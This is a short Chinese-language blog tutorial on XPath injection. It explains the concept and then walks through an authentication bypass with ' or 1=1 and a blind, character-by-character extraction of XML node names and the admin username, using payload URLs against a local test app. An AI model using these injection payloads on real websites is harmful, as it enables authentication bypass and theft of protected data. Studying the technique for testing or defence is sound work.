美文网首页
2019-08-26

2019-08-26

作者: 留白_bb77 | 来源:发表于2019-08-26 23:59 被阅读0次

    XPath注入攻击,是指利用XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息。

    XPath注入攻击是针对Web服务应用新的攻击方法,它允许攻击者在事先不知道XPath查询相关知识的情况下,通过XPath查询得到一个XML文档的完整内容

    Xpath注入攻击本质上和SQL注入攻击是类似的,都是输入一些恶意的查询等代码字符串,从而对网站进行攻击。注入的对象不是数据库users表了,而是一个存储数据的XML文件。攻击者可以获取 XML 数据的组织结构,或者访问在正常情况下不允许访问的数据,如果 XML 数据被用于用户认证,那么攻击者就可以提升他的权限。因为xpath不存在访问控制,所以我们不会遇到许多在SQL注入中经常遇到的访问限制。XML 中没有访问控制或者用户认证,如果用户有权限使用 XPath 查询,并且之间没有防御系统或者查询语句没有被防御系统过滤,那么用户就能够访问整个 XML 文档。 注入出现的位置也就是cookie,headers,request parameters/input等。

    查询基本语句

    //users/user[loginID/text()=’abc’ and password/text()=’test123’] 。

    这是一个XPath查询语句,获取loginID为abc的所有user数据,用户需要提交正确的loginID和password才能返回结果。如果黑客在loginID 字段中输入:' or 1=1 并在 password 中输入:' or 1=1 就能绕过校验,成功获取所有user数据

    //users/user[LoginID/text()=''or 1=1 and password/text()=''or 1=1]

    如果我们想遍历出整个XML文档,一般步骤如下:

    1.判断根下节点数:

    127.0.0.1/xpath/index.php?name=1' or count(/*)=1 or '1'='1&pwd=fake

    result: 1

    2.猜解第一级节点:

    127.0.0.1/xpath/index.php?name=1' or substring(name(/*[position()=1]),1,1)='r' or '1'='1&pwd=fake

    127.0.0.1/xpath/index.php?name=1' or substring(name(/*[position()=1]),2,1)='o' or '1'='1&pwd=fake

    ...

    result: root

    3.判断root的下一级节点数:

    127.0.0.1/xpath/index.php?name=1' or count(/root/*)=2 or '1'='1&pwd=fake

    result: 2

    4.猜解root的下一级节点:

    127.0.0.1/xpath/index.php?name=1' or substring(name(/root/*[position()=1]),1,1)='u' or '1'='1&pwd=fake

    127.0.0.1/xpath/index.php?name=1' or substring(name(/root/*[position()=2]),1,1)='s' or '1'='1&pwd=fake

    result: users,secret

    重复上述步骤,直到猜解出所有节点.最后来猜解节点中的数据或属性值.

    猜解id为1的user节点下的username值,

    127.0.0.1/xpath/index.php?name=1' or substring(/root/users/user[id=1]/username,1,1)='a' or '1'='1&pwd=fake

    ...

    result: admin

    相关文章

      网友评论

          本文标题:2019-08-26

          本文链接:https://www.haomeiwen.com/subject/fywjectx.html